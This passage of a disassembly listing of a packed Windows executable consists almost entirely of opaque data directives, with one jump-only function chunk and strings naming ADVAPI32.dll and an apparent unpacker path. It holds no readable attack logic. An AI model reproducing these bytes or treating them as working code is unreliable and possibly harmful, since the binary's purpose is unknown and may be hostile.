0A31CB449h, 4BB022E0h, 0FF9AD700h dd 0B17599F8h, 0ACB601A6h, 2C563457h, 65998F94h, 8290A20h dd 51B86601h, 215992Bh, 21BA9818h, 57B29880h, 88037655h dd 0CAEF68E6h, 39290003h, 24F2B51Fh, 0B8060465h, 53C58310h dd 0E53A0040h, 0DF810FA5h, 4037FB74h, 849018BDh, 0E3C7EEh dd 50481547h, 6966077Ah, 7782AC12h, 9040D825h, 75AA3CEh dd 8C2954F5h, 0A0905433h, 5E2C01E8h, 72E6C63Fh, 43A0F71Dh dd 0B379848Fh, 730AD0E0h, 742A563Bh, 38371C05h, 98172002h dd 0B9676087h, 39A41C4Ah, 47D207E1h, 6CDBA00Ah, 0CAF403E8h dd 51419C65h, 49BFD680h, 4B830AA8h, 119C7273h, 0A716019Bh dd 89BC42C4h, 4F2C980h, 2ADD92C2h, 0D3F4A400h, 916E3071h dd 9DCB0DAAh, 42D9D17Eh, 1C831D3Ch, 19004DA0h, 0E51F326Dh dd 16C91B1h, 95B49DF0h, 802F5636h, 3215A539h, 1255BC48h dd 2128517Dh, 63FF0740h, 1CEB2614h, 6078661Dh, 0BF294521h dd 5A310230h, 8916E180h, 0DC579B80h, 0F4A42A51h, 0CCBD52h dd 9A4284D1h, 305A094Bh, 41981BEh, 0F61C15D6h, 0A6C658DFh dd 147953A0h, 0D51F31BFh, 0B9325B0Eh, 7F302621h, 42062D5h dd 0E8378352h, 858868C7h, 252E5670h, 6F1000ACh, 40E93CFDh dd 0A0449E0Ah, 0A8003056h, 65DB2901h, 3F0803B2h, 41F9F835h dd 560E94D8h, 3643157h, 6B7464E8h, 0EA2BD3E6h, 0BC44A0h dd 0F85B1CFCh, 9AE8C7F6h, 0FB003676h, 0B4DFE7F9h, 6FCA1980h dd 0DF5101h, 6467B8F5h, 66055CFBh, 0CB8C081Fh, 8C9AEC08h dd 63310BCDh, 31FBE000h, 9AB4869Bh, 29D20067h, 6F328C78h dd 1514991Dh, 0C0AC5CB1h, 571EEA20h, 4C0303DFh, 0A7DB7EFEh dd 2270594Ch, 80100272h, 0B21642C8h, 0E297C468h, 6AFAC105h dd 148887ACh, 8430017h, 0CCDBC64Bh, 490997ADh, 80713082h dd 2DFBA564h, 0A96F3CACh, 0D5E2201h, 9807CA89h, 0E62EF7C1h dd 98990EFFh, 39606D9Ch, 23C50450h, 6614CD50h, 2156221Eh dd 0C1C8100h, 9248C41h, 93F0BB6Eh, 0D799FC07h, 48181037h dd 0A12062D6h, 7779002Bh, 4A0ABB35h, 0F806EE1Dh, 0B8E4AB8Dh dd 842903F6h, 6CBE54A6h, 13B6D105h, 4808B08h, 480A3FF4h dd 52C0D8E9h, 0B5832489h, 75C76238h, 0C000F24Ch, 0BD11FE7Ch dd 0B4200113h, 771E9409h, 2C06DC08h, 0CB0B705h, 68C00490h dd 9854E18Ah, 50E605B4h, 0C1E31936h, 876866C4h, 0DF9490D0h dd 0C104141h, 0C31E6E1h, 2C364400h, 60FE14A0h, 0A407B41Dh dd 0BACD8018h, 6A67019Eh, 0F2FC5615h, 8006C46h, 0B55DA951h dd 0FDE709h, 0CFCDADBBh, 2B403626h, 0EF64C73h, 80F4395Ch dd 0DA812FB8h, 0DE5D001Ch, 0B1A7934Ch, 6602F8D6h, 4436F53Bh dd 14A0E017h, 58E83907h, 71E2FEB9h, 0B8443151h, 3FB3814h dd 764600E2h, 81194BD5h, 40C760DCh, 0E03B32CCh, 0A45F2500h dd 3716314Eh, 6AF53010h, 1275EBD8h, 6ED5D200h, 0F4CA878Fh dd 949250FAh, 286848A7h, 0CF8ED29h, 0EC1AE33h, 48E93100h dd 0D7C8A203h, 2F7F013Ch, 5150C747h, 7E09C4B7h, 31A0D930h dd 5FDC425h, 0EC07F170h, 0FC640201h, 0F4C017A8h, 5E60A136h dd 0AEFB0619h, 0B0CB0425h, 434C9A50h, 0E80733B8h, 1162EE8h dd 5F18864Ah, 32CDC39Ah, 0D01C00A4h, 1BB1E6D3h, 338D0995h dd 0B420E00Ch, 7F6E0439h, 99A3D637h, 0EA1934C1h, 8A6D6860h dd 23B79C00h, 38C0E365h, 0ADA88A2Fh, 28EF4C18h, 6CC21BC0h dd 2D076AB9h, 26A96263h, 0A310560h, 64235856h, 0D301448Fh dd 0EFF907BDh, 9938C918h, 3D6F81h, 700EC292h, 0F9FEFB0Ah dd 9B72BA00h, 8062DF1Ch, 13934885h, 20A14F13h, 0FA5FBED4h dd 0B2F98F00h, 0AA4481CFh, 99FB014Ch, 4863B925h, 0E6A6EC6Bh dd 0C139F800h, 9D36965Ah, 79A76038h, 3BEC9FE8h, 197F1F15h dd 10F84A48h dd 0E5695500h, 0B635E198h, 300D9E4h, 4151C272h, 906D4912h dd 75A40910h, 386BBDBCh, 60CD0C00h, 906F7367h, 55B098Fh dd 0EC888CA4h, 0D3106088h, 8860BDCBh, 6F82C439h, 0AA290780h dd 9073BC63h, 346269EDh, 53F39B02h, 52BD50E1h, 80200E8h dd 0D4D337E8h, 0F21EC5CDh, 7F04EF82h, 5040A3DEh, 0CA04194Ch dd 0AE00A0B1h, 96CBA8CCh, 22820035h, 0F082E61h, 0A09852E8h dd 0DA83AF0Fh, 32F4h, 4E0E60E7h, 0F60712AAh, 0CD58325Ah dd 7EBDDD01h, 0CC7C9180h, 2AF82754h, 9E8BD801h, 37064F91h dd 0E460DBCDh, 88CD7841h, 0DD00581Ch, 0C5F5FAB9h, 1EC06FC3h dd 0C05F421Bh, 3038835Ch, 334AF61Dh, 932AB420h, 62A30539h dd 10107F0h, 0E8DA8048h, 347020C6h, 9580A091h, 0CCF63878h dd 18D90A39h, 0F40CAE3h, 64A0B188h, 0AE68A18Fh, 9D2BD83Ch dd 0C944B30Ah, 0D8C8BDB7h, 0C24500C3h, 7570A1C4h, 9A02A215h dd 5613CFEEh, 0CC288829h, 0A7B71F60h, 1BEE850h, 0E8D686D0h dd 72F2077Dh, 80D9396Ch, 5F9D9ECBh, 73F0E3h, 7CC61A8Dh dd 0CF21F97Bh, 67870200h, 9922AC7Fh, 0E9B71F23h, 6001C096h dd 73F97EAFh, 40C70230h, 38AECC8Fh, 4F800ED9h, 0DC6323F4h dd 0EE06F8D1h, 0B8B74338h, 4A285829h, 9213C507h, 849FF1BFh dd 0DCA9D40Dh, 2C8BDA00h, 0A5A88C40h, 9D30C067h, 24EF57F9h dd 0B0C2C00Bh, 8E1E0602h, 10E78B9h, 19980934h, 40B020E2h dd 393F6134h, 0F92FF500h, 1B336374h, 28A80017h, 0EAE66D5Fh dd 8003779Ah, 0B689AC7Ch, 0D93900D1h, 0A149DD74h, 9E307FB9h dd 0F4830A81h, 95470CFCh, 0B299604Fh, 3C0C6100h, 8DBAF63Eh dd 59690319h, 8A6D667Ch, 1BEFA148h, 0C030EC84h, 786497C3h dd 0CB2E0CE8h, 6019EDE6h, 9B92AA01h, 4FAEDD5Bh, 95876180h dd 0B9C6D70Fh, 0ED83681Fh, 0D23E8E40h, 334B148h, 5E1E1901h dd 33986077h, 24043839h, 47B0E222h, 0D04A9980h, 6F40A8A1h dd 87B407DDh, 0FCAEDE09h, 1E07D369h, 0CAFF03A9h, 0ED38E4C0h dd 846B00C8h, 8E1C3931h, 7E023FB0h, 7A5DF60Eh, 0D9887F7Bh dd 0CA278098h, 0DE3D9AACh, 0D52E4203h, 0B92F59B6h, 71F86250h dd 6CB800DCh, 2E5A8AC0h, 0E7188F4Fh, 0D741C3B7h, 760900CEh dd 95FA707Dh, 39019DDCh, 0E2B6CB87h, 2980C9B7h, 72351A23h dd 0E9608422h, 0A34F04D1h, 1C27002Dh, 0B3732B55h, 1A3C667Ah dd 9D0CF7BEh, 0E969A42Fh, 0EA9A0E79h, 398068EDh, 0DBC7F997h dd 0A3522D06h, 695094h, 0D81D199Dh, 0F5C0DF26h, 0D0286C90h dd 0B10E58B6h, 20B9228Ch, 1D2DAF82h, 0C9B50E96h, 0AC94E223h dd 77006822h, 8C4C0DB9h, 7416C6h, 79F269BEh, 0CDB045A3h dd 0F851DDh, 5F7C072h, 0B0C99D0Eh, 0ABB90B6Fh, 7B805BEAh dd 0A425CCAFh, 0ED0E3C91h, 22122FFAh, 4175D313h, 0B711E238h dd 0A85980B6h, 7662B3E4h, 735C0071h, 81FD88FFh, 0DBB87A9Dh dd 3A12DF7Fh, 0E8077520h, 4330FA56h, 0C05D4895h, 2EFFAD69h dd 0CF7EA11Dh, 0BBE27D00h, 5335F40Eh, 0AF550390h, 5A1D9514h dd 50BC3140h, 0EEE7CB15h, 873303D0h, 0E70847Ah, 2868D011h dd 0B10CBC00h, 0EB00DBE5h, 488ECB4Ah, 72C54AEh, 257F9F47h dd 596486F1h, 0DF601EE2h, 81176D84h, 96C832F0h, 80C0C3F1h dd 6900272Eh, 7DD8FC86h, 0DF88F266h, 877B4621h, 0B5008175h dd 353128E9h, 68D419h, 27895C12h, 777C4474h, 0F287273h dd 0D43C84FCh, 0C60215A2h, 8E5006A8h, 5998C8h, 95060CF8h dd 137859DAh, 0C71F7B7Bh, 61409B5Dh, 0E5825B68h, 0CFB73031h dd 92D9BF41h, 5EAFB500h, 6071E4Ch, 0A8274D31h, 89DF5A00h dd 99E1FE26h, 0C4B05718h, 0CD0A39h, 0FAC2F75Ch, 66A51BEFh dd 0A20B8CA8h, 0CE00F4E6h, 0A004F618h, 0F62A6A76h, 7F8B0929h dd 4490C80Eh, 482C0D31h, 9002C79h, 6F84CEA7h, 740A0075h dd 40EEAADh, 0A903AE27h, 0BA2266C1h, 9361A195h, 24B74193h dd 0DC388090h, 80003057h, 0A00C3745h, 121B2095h, 1D2141FFh dd 1D1F408Eh, 0E5BC9B91h, 0D80153h, 0A6B68568h, 48FEC169h dd 53226CF1h, 0E7BEEC00h, 0DCDDB3CCh, 8FF00EEh, 0EF7A46A3h dd 0CE09A205h, 98589625h, 4D85B68h, 208D6310h, 49408094h dd 0CB30814Eh, 9B757182h, 6E63D89h, 39E1DA18h, 74711F1Eh dd 4A6601Fh, 8DE82740h, 26252DE2h, 0C86A4Fh, 0C740F23Eh dd 0F148811Dh, 6A73B08h, 86DDCB76h, 15721549h, 0CC438CB9h dd 5AD62B00h, 0D26A1B7Ch, 8016B83Eh, 0E9AEE72h, 48AA75C6h dd 7E00AC24h, 67D25850h, 0B1C19FC8h, 0BBF3B211h, 2CC37DECh dd 2C31206h, 1CBCEE9Eh, 604B5460h, 11C4698Ah, 50F4DC4h dd 28053E04h, 0DC9C89A4h, 300087A9h, 0E82C1F70h, 621B3E2h dd 0B7409A4Fh, 0BB0FB9C5h, 407CA37Ah, 0A45EE20Eh, 4424C0Fh dd 0B73440h, 6B9BF02Ah, 0DDFA669h, 6D004AECh, 0D656F601h dd 3114DC9h, 95F5B397h, 397A634Bh, 7A253019h, 0C2F84DA8h dd 3A53001Bh, 0D494A02Bh, 9160C86Dh, 53201F9h, 0DFB0FB2h dd 6B20D519h, 4BB0A9B7h, 9CC1A48h, 10C9FF9Bh, 1F40768h dd 0AFEF4F96h, 0EC932386h, 2D4CB5F6h, 89631100h, 0A74F0C78h dd 49118CCBh, 2A0A4D77h, 9CD60929h, 36F5FD03h, 77E8D924h dd 40C85F01h, 50B97A18h, 0DBFBA402h, 0C02FDC20h, 7DFDAB0h dd 25B3B6CCh, 4E17407Dh, 0D83E1C67h, 853EFADDh, 6015B166h dd 7C607D0Dh, 4C2F0AD5h, 199C3D7Fh, 10EF70B8h, 6092414Dh dd 6DC30B3h, 0D0A4B696h, 0CF0EC00h, 0B89AE4A6h, 0FFAF069Ch dd 489F114Ah, 0E09A7DEAh, 0E7E8CC0Fh, 0B7B68010h, 0C026BDDFh dd 9CFFC50h, 0AB88C9B0h, 19C21F11h, 87F681DBh, 6343147Fh dd 242200B4h, 66BB5CF8h, 6B8A4F6h, 0C8FC0C11h, 0B001190h dd 4153BB6Ah, 98875D86h, 75A09020h, 3A192C44h, 3B6E09E4h dd 0D1D21C99h, 968BE8C0h, 76A73C00h, 40FEE5A2h, 7C730EFFh dd 0CD77BDCh, 3B87710h, 941B9624h, 90129E02h, 21B0C074h dd 0F67D00D7h, 0AFD3DF50h, 0B4EA2B66h, 18255Ch, 28AE47DAh dd 49A5E853h, 12004462h, 8C95B75Ah, 250256E1h, 0CB3DF494h dd 80C0E6E9h, 0DD13D1h, 0B7B47FD4h, 73F574CEh, 8FF11462h dd 47BC8095h, 60C8D6DCh, 0BE161999h, 4F00DDAEh, 6BCE0536h dd 778CC35h, 0B56A87D9h, 0C9FC22D3h, 0F101F044h, 0E151C660h dd 6FCE77Fh, 0DA2CC045h, 0F643BEFh, 0E9EC0205h, 0CE181E88h dd 0FE3167A1h, 9972F7h, 0EB0EA747h, 4877C289h, 9C270101h dd 4391CDB5h, 900AC73h, 349D474Fh, 8012A74h, 2740840Fh dd 8C504DA4h, 82336Dh, 2F251F39h, 0DD7404E9h, 946F2101h dd 93027CC8h, 0B638A076h, 4024329Ch, 0F6EB45ADh, 3A003948h dd 1D200FA1h, 0E68F5E71h, 3D4178F0h, 153EB422h, 0A77FA901h dd 0F44AEDB6h, 0F626C017h, 0F763FC58h, 1E87B0F9h, 0E2DF0031h dd 21CB0F8Dh, 4600882Ch, 860E5A14h, 0A6917F5h, 748494BBh dd 0E3F2808Ch, 916D4EC2h, 8B209900h, 3505FCE5h, 1ADB002Dh dd 52070F30h, 1D0759F6h, 0F82538A5h, 0C8C47317h, 9B52CA4h dd 27D70CF1h, 83936484h, 5DB4AA8h, 81F649A0h, 0DFE6B41Fh dd 0CDCEFB80h, 0AB97C870h, 0D34A88E8h, 0F02096Bh, 1D0CBF01h dd 2700E859h, 0C3FEAD76h, 5D72E43Ch, 753B2CD7h, 9C1111h dd 424D1426h, 12F65398h, 20849580h, 0CE48254Ch, 3260C900h dd 12C5DC22h, 7F843310h, 0F9904121h, 7E5CB6A2h, 516D04A3h dd 8FC33966h, 18C688F6h dd 0CC6048A1h, 5900A2Ch, 0C1964FA6h, 49E6CB3Ch, 5D6810A4h dd 0D7005725h, 113D93ACh, 15E0408h, 0B6225469h, 0ED8DB2EAh dd 313ECFC8h, 0AFD581E2h, 451229F5h, 3AA5D820h, 8A00F816h dd 0CADF2D8Ch, 6B0B40ECh, 4F58510h, 0BCC1A7A8h, 0F9D1DC74h dd 94FB860h, 0EE762F37h, 0B822E081h, 29A5h, 0F47B0A8Ch dd 0C7F945h, 0DF40713Fh, 0B0397550h, 1BA4CA54h, 0B4146C00h dd 346BA16Eh, 0E2B105E9h, 0CD238EEDh, 30B3F1DCh, 3B03B7C4h dd 43E69491h, 1C2C9050h, 0D8E20CA4h, 0DBC87D80h, 1230A07Dh dd 0DF599001h, 0A63A13BAh, 90BC1FC6h, 2548058Dh, 0EC0046A5h dd 0F17F339Fh, 609816h, 42068C0Bh, 27834B84h, 3B708D06h dd 50403873h, 88E8C04Fh, 0A49C0372h, 5C82B865h, 97DC838Ah dd 66A08ADFh, 795A7068h, 0F7EB0067h, 99CB6A44h, 340CDB0Fh dd 616FA808h, 3118A0A4h, 0DFB400D6h, 0FA26633Ah, 0CC00E87Dh dd 0C722E6DCh, 58721759h, 0C79F000Bh, 49874611h, 0DD76B418h dd 0D0E29701h, 50E30FDFh, 13A459DCh, 221D94E6h, 68818410h dd 0F0F5DE90h, 1B1FA58Ch, 60A428DCh, 212FDD05h, 5E9E0CCh dd 0CDE2CEE5h, 9704186h, 0C8F839C5h, 72001445h, 0DCD9D0B8h dd 14F6349Ah, 9081ACBDh, 0E9C6C2Ch, 4780B2F1h, 58F7EED0h dd 1CC9529h, 0B0FDFF7Fh, 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53E1CD: ; CODE XREF: start:loc_4E0265j ; DATA XREF: start:loc_4E0086o jmp loc_541506 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 0B7D0h dd 1F9h, 69DD0000h, 9Fh, 0A1440000h, 77E7h, 5 dup(0) dd 0DA290000h, 2FE80058h, 77E8h, 77D4h, 5 dup(0) dd 940000h, 0 dd 78D10000h, 0C412h, 8 dup(0) dd 72180000h, 9D330057h, 71FEh, 230000h, 57h, 5 dup(0) dd 9F70000h, 9Fh, 8 dup(0) dd 0E6040000h, 10000058h, 7 dup(0) dd 6A780000h, 0B80000h, 0B000000h, 0C20374C0h, 448B0018h dd 0E8530C24h, 0 dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 9FA037B8h dd 8BE0FF00h, 0FF042444h, 0E0h, 14h dup(0) dd 0A5E70000h, 0A3h, 76AA0000h, 325Dh, 9 dup(0) dd 0DFC60000h, 10057h, 5 dup(0) dd 0EB8D0000h, 0FD9Ah, 2 dup(0) dd 36790000h, 1E44h, 2 dup(0) dd 1E920000h, 0A1440059h, 0BDB577E7h, 57h, 11h dup(0) dd 8D130000h, 56h, 0D8A60000h, 0CD60h, 6 dup(0) dd 25Ah, 3 dup(0) dd 180B0000h, 77F5h, 0Dh dup(0) dd 0BB330000h, 53ECh, 11h dup(0) dd 6C0000h, 2 dup(0) dd 14340000h, 0 dd 0E5260000h, 0FA6Ah, 4 dup(0) dd 2BBC0000h, 58h, 0 dd 0B1B30000h, 57h, 0Dh dup(0) dd 2EB80000h, 7736h, 3 dup(0) dd 240h, 0 dd 880000h, 75B50000h, 5E3B0000h, 0C96AFFA8h, 3FF77D4h dd 0 dd 0FEAA0000h, 28E8h, 8 dup(0) dd 15640000h, 6CB800A0h, 248h, 4 dup(0) dd 900000h, 9 dup(0) dd 0A8B50000h, 0FFA8h, 2 dup(0) dd 0D4440000h, 0FFA7h, 3040000h, 7FFEh, 4 dup(0) dd 24240000h, 2424h, 2 dup(0) dd 6B910000h, 1246h, 2FD60000h, 213h, 4 dup(0) dd 9Eh, 0 dd 90470000h, 67800057h, 58h, 8D8D0000h, 357Ah, 9 dup(0) dd 0A80000h, 8F8C0000h, 2BCD0057h, 1728h, 2 dup(0) dd 76CD0000h, 77E7h, 2 dup(0) dd 8F8C0000h, 57h, 3 dup(0) dd 3040000h, 7FFEh, 5 dup(0) dd 0A0370000h, 9Fh, 6 dup(0) dd 8C0A0000h, 9Fh, 0 dd 3040000h, 7FFEh, 6 dup(0) dd 10000h, 0 dd 10000000h, 98320040h, 0B9D2h, 69C40000h, 1B1Fh, 2 dup(0) dd 3040000h, 0FF547FFEh, 12h, 6 dup(0) dd 0DA5A0000h, 1E78h, 0C6890000h, 0EFA8h, 4 dup(0) dd 0A0770000h, 0B1h, 3 dup(0) dd 6A600000h, 5000h, 9 dup(0) dd 36030000h, 3044FEDh, 237FFEh, 53h, 3 dup(0) dd 492B0000h, 0E942h, 6 dup(0) dd 0E800000h, 2 dup(0) dd 5ECC0000h, 177DDh, 3 dup(0) dd 0FFFE0000h, 0FFFFh, 6 dup(0) dd 0FCFC0000h, 198001h, 2 dup(0) dd 10C40000h, 3 dup(0) dd 1C3F0000h, 4D65h, 15680000h, 0A0h, 20000h, 0B2610000h dd 34D8AE1Bh, 1FA8h, 10h dup(0) dd 6CF20000h, 3 dup(0) dd 22B90000h, 0F7320FACh, 56h, 0 dd 93930000h, 9Fh, 10h dup(0) dd 40h, 3 dup(0) dd 0FF6E0000h, 5E9BFA7Bh, 59h, 0 dd 0FFFF0000h, 0A9F3FFFFh, 0F62B14ADh, 0FF6E0056h, 0FA7Bh dd 0Ah dup(0) dd 915B0000h, 0F732009Fh, 56h, 2 dup(0) dd 3F660000h, 2 dup(0) dd 0FF540000h, 0 dd 20910000h, 54h, 2 dup(0) dd 5FF00000h, 62980000h, 1C000000h, 5FF10057h, 0FF60h dd 0 dd 56430000h, 6 dup(0) dd 49CE0000h, 1B8h, 0 dd 3040000h, 0B6A3h, 29h dup(0) dd 858C0000h, 797h, 2 dup(0) dd 10000h, 0FC6A0000h, 8585h, 0 dd 6BB80000h, 5Ah, 0 dd 7A74B4E3h, 0F868h, 5Fh dup(0) dd 3040000h, 0E2CA7FFEh, 53h, 3040000h, 7FFEh, 7 dup(0) dd 0FFE00000h, 12h, 6 dup(0) dd 0B5810000h, 0A081h, 3 dup(0) dd 56430000h, 0 dd 6D010000h, 2 dup(0) dd 3040000h, 7FFEh, 8F9E0000h, 6CB0057h, 8 dup(0) dd 6D010000h, 3 dup(0) dd 144D0000h, 0B512h, 0F5B60000h, 2 dup(0) dd 29F90000h, 6F68h, 6 dup(0) dd 0A80000h, 7 dup(0) dd 0BBC80000h, 3040058h, 189A7FFEh, 77DDh, 2 dup(0) dd 2EB0000h, 3E3B1D8Bh, 9Fh, 8 dup(0) dd 1B400000h, 76B4h, 4 dup(0) dd 0A00F0000h, 7FFEh, 5 dup(0) dd 0A00F0000h, 9Fh, 15h dup(0) dd 8D4B0000h, 8 dup(0) dd 0A6E90000h, 77EBh, 8 dup(0) dd 0FEEC0000h, 8FFBh, 3 dup(0) dd 0C0000h, 240h, 7 dup(0) dd 0C0FC0000h, 0FABh, 3 dup(0) dd 0A8950000h, 0E7B0FD89h, 3 dup(0) dd 7D950000h, 5Ah, 7 dup(0) dd 3B20000h, 28960054h, 57h, 0 dd 72980000h, 0 dd 1FCF0000h, 5CC2h, 8 dup(0) dd 6D010000h, 2 dup(0) dd 0A6940000h, 0BBC8FFFFh, 58h, 2 dup(0) dd 59640000h, 3040058h, 7FFEh, 33110000h, 0 dd 4A1E0000h, 58h, 0 dd 30DF0000h, 6508A9C5h, 69DD1E78h, 9Fh, 3 dup(0) dd 0C1E10000h, 1, 4 dup(0) dd 36360000h, 0FE283636h, 0FFBFh, 0Dh dup(0) dd 66530000h, 7940h, 0F62B0000h, 56h, 3040000h, 7FFEh dd 500000h, 0FDE0h, 5 dup(0) dd 5E2E0000h, 9Fh, 0FF980000h, 0EB6CFFFFh, 57h, 2 dup(0) dd 3B510000h, 58h, 0 dd 9D50000h, 0E526FFA9h, 0FA6Ah, 0 dd 0E7C0000h, 7FFEh, 5E050000h, 59h, 2 dup(0) dd 36330000h, 5Ah, 0E5260000h, 0FA6Ah, 6 dup(0) dd 858C0000h, 797h, 0C6000000h, 3, 2 dup(0) dd 9C370000h, 9Fh, 5 dup(0) dd 0FCFC0000h, 0FFFFh, 0 dd 10000h, 2 dup(0) dd 37C60000h, 7DEBh, 7 dup(0) dd 0FFB00000h, 3A0022Fh, 0 dd 3040000h, 7FFEh, 2 dup(0) dd 60020000h, 8280h, 2 dup(0) dd 0AC5E0000h, 0FF9877E7h, 0FFFFh, 2 dup(0) dd 26960000h, 0 dd 59740000h, 8655h, 3 dup(0) dd 0CE30000h, 0EE54h, 409D0000h, 6D1h, 2D7B0000h, 0FFFFh dd 5 dup(0) dd 0B7170000h, 3210FFFEh, 133h, 5 dup(0) dd 3F600000h, 2 dup(0) dd 99950000h, 0A3h, 3 dup(0) dd 0FF6E0000h, 49840000h, 5Ah, 1F80000h, 77FFh, 3 dup(0) dd 8F8C0000h, 57h, 2 dup(0) dd 858C0000h, 797h, 248h, 2 dup(0) dd 34300000h, 312Dh, 0 dd 0D37C0000h, 33930059h, 5C18h, 0 dd 40000h, 0DB20000h, 34E4h, 277A0000h, 0ED0E0001h, 53h dd 69DD001Ch, 9Fh, 67940000h, 7FFFh, 69DD0000h, 9Fh, 9DF20000h dd 0ED0E0057h, 53h, 2 dup(0) dd 40E50000h, 59h, 5910000h, 77E8h, 6D010000h, 0B70D0000h dd 519Eh, 0 dd 8C0000h, 0 dd 858C0000h, 797h, 0 dd 41A10000h, 0D431D89Eh, 0EBB0h, 2 dup(0) dd 190000h, 0E294h, 0 dd 1BFD0000h, 6 dup(0) dd 1B2B0000h, 77F5h, 0 dd 4ACC0000h, 0B4E3h, 2 dup(0) dd 3040000h, 7FFEh, 0 dd 0B7E30000h, 6257h, 28BE0000h, 57h, 304F038h, 68547FFEh dd 64696D65h, 61h, 1Eh dup(0) dd 73440000h, 21680059h, 77E8h, 0 dd 7930000h, 58h, 0E5BE0000h, 0E799h, 5 dup(0) dd 3040000h, 7FFEh, 0 dd 8D8D0000h, 0BA18h, 0D0000000h, 0Dh, 4 dup(0) dd 0A6950000h, 0FFFFh, 2 dup(0) dd 3040000h, 7FFEh, 0B3A60000h, 0FF6EFFA5h, 0FA7Bh, 5 dup(0) dd 0FFF00000h, 12h, 4 dup(0) dd 8F890000h, 8F6B0056h, 56h, 4 dup(0) dd 3A430000h, 4E49575Ch, 53574F44h, 7379535Ch, 336D6574h dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 3Ch dup(0) dd 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh, 7Ch dup(0) dd 0A9A80000h, 9CFFFFh, 4 dup(0) dd 70740000h, 0FFA8h, 2 dup(0) dd 7A6E0000h, 3, 6 dup(0) dd 0C3AD0000h, 0B9408063h, 5Ah, 0A88B0000h, 1444h, 0 dd 9CBB0000h, 57h, 0B80000h, 3 dup(0) dd 0ADF90000h, 0C7h, 0 dd 2A360000h, 0A3370000h, 8D8D0057h, 32684B70h, 87F900A0h dd 58h, 0 dd 3040000h, 7FFEh, 0 dd 38E80000h, 84D0h, 0BC540000h, 0CB45h, 0Eh dup(0) dd 68540000h, 1B2B00AEh, 0D590110h, 0FF54005Bh, 12h, 21210000h dd 0B5E22121h, 0 dd 3040000h, 58h, 0Ah dup(0) dd 840000h, 6 dup(0) dd 0E5260000h, 49C6FA6Ah, 0B5E3h, 3E8C0000h, 7F5D005Bh dd 3259h, 4 dup(0) dd 5CB50000h, 77E7h, 7 dup(0) dd 3B20000h, 92340054h, 0C5E1009Fh, 58h, 5 dup(0) dd 2A100000h, 58h, 5 dup(0) dd 15CA0000h, 59h, 0 dd 0FC4E0000h, 0FFABh, 5 dup(0) dd 0CCA00000h, 5E3B0000h, 0FFA8h, 8 dup(0) dd 0A5A40000h, 57h, 3 dup(0) dd 740000h, 0 dd 8C0A0000h, 0C08F009Fh, 57h, 0BA730000h, 21C8h, 2 dup(0) dd 0E5260000h, 3B90FA6Ah, 0E024007Ah, 0FE9Eh, 45940258h dd 0B2D1h, 0 dd 1F9C0000h, 0 dd 0BC540000h, 0CB45h, 13h dup(0) dd 0B6h, 0 dd 44380000h, 0FFA7h, 12h dup(0) dd 7EB70000h, 0F7ECh, 0 dd 3040000h, 7FFEh, 0D8730000h, 3E683681h, 69DD77E8h, 9Fh dd 0 dd 0FF7F0000h, 0FFFFh, 5 dup(0) dd 6CE10000h, 809Dh, 3 dup(0) dd 0DA310000h, 5718h, 0 dd 215B0000h, 0FFA8h, 3 dup(0) dd 23E80000h, 0A0h, 5 dup(0) dd 1B6B0000h, 8B2Dh, 2 dup(0) dd 0E5260000h, 0FA6Ah, 967F0000h, 77FFh, 0B1h dup(0) dd 2FA50000h, 5Bh, 0E5260000h, 0FA6Ah, 6 dup(0) dd 7380000h, 0FA28h, 16h dup(0) dd 72180000h, 57h, 3 dup(0) dd 120B0000h, 23D70010h, 77DDh, 8 dup(0) dd 6A2E0000h, 2F0777E7h, 0FFFF0059h, 0FFFFh, 3 dup(0) dd 40000h, 14240000h, 6CB8FFA9h, 248h, 0E8B50000h, 9F28h dd 4 dup(0) dd 0A1FE0000h, 0AFh, 75A10000h, 2B5Fh, 6 dup(0) dd 0FFFF0000h, 7FFFh, 2 dup(0) dd 0B5E20000h, 8A0Fh, 3 dup(0) dd 9D50000h, 0F1D3FFA9h, 6284h, 8A9A0000h, 0DD4Fh, 2 dup(0) dd 40000h, 2 dup(0) dd 0B6730000h, 1FEFh, 10h dup(0) dd 15680000h, 0A0h, 3 dup(0) dd 0ADh, 3 dup(0) dd 0FFB00000h, 21Fh, 0FFB00000h, 9E3B020Fh, 0FE6005Ah dd 9Eh, 0 dd 37B90000h, 7DFB7008h, 0FFA6h, 2 dup(0) dd 4C5A0000h, 5Ah, 0 dd 0A9800000h, 59h, 2 dup(0) dd 5DA90000h, 76AEh, 9DBF0000h, 99FFh, 2C460000h, 0FEC1h dd 0A40000h, 0 dd 0A3DD0000h, 0FFA6h, 2 dup(0) dd 9Eh, 0A00F0000h, 7FFEh, 5 dup(0) dd 16890000h, 0FFA8h, 5 dup(0) dd 69DD0000h, 858C009Fh, 797h, 22920000h, 9Fh, 6A020000h dd 3D43h, 4 dup(0) dd 0FFA40000h, 12h, 2 dup(0) dd 14A90000h, 1B23h, 9E80000h, 8 dup(0) dd 4ABA0000h, 6A5Dh, 81h dup(0) dd 0ADFE0000h, 77D6h, 2BDE0000h, 0E66B009Fh, 58h, 3 dup(0) dd 858C0000h, 797h, 84AC77DDh, 4696EF99h, 0A3D2h, 4600000h dd 6BCE0000h, 248h, 2 dup(0) dd 0E2700000h, 0A693h, 5 dup(0) dd 25640259h, 0F245h, 5 dup(0) dd 0E90000h, 4, 3 dup(0) dd 0A00000h, 0FFEDh, 5C800000h, 0F343h, 10000h, 9 dup(0) dd 0BC540000h, 0CB45h, 2 dup(0) dd 7DBB0000h, 0D7060DE4h, 77E6h, 2 dup(0) dd 0C4860000h, 77E7h, 0Ah dup(0) dd 0BC2F0000h, 0CB45h, 0 dd 3040000h, 7FFEh, 0 dd 10000h, 230000h, 53h, 3 dup(0) dd 0A6090000h, 59F00000h, 77DDh, 0 dd 3040000h, 7FFEh, 0A13F0000h, 0D1BF77E7h, 2CB5h, 9 dup(0) dd 77E6h, 2 dup(0) dd 980000h, 3040000h, 3CA37FFEh, 5Ah, 12h dup(0) dd 0FF540000h, 12h, 2 dup(0) dd 60090000h, 99BD005Ah, 1B9C117Eh, 54h, 0 dd 7C9D0000h, 5Ah, 18h dup(0) dd 3040000h, 7D17FFEh, 0 dd 858C0000h, 3040797h, 7FFEh, 0E4EB0000h, 0C7h, 1B760000h dd 0CCA00058h, 5Ah, 3 dup(0) dd 28E60000h, 57h, 7 dup(0) dd 6DB60000h, 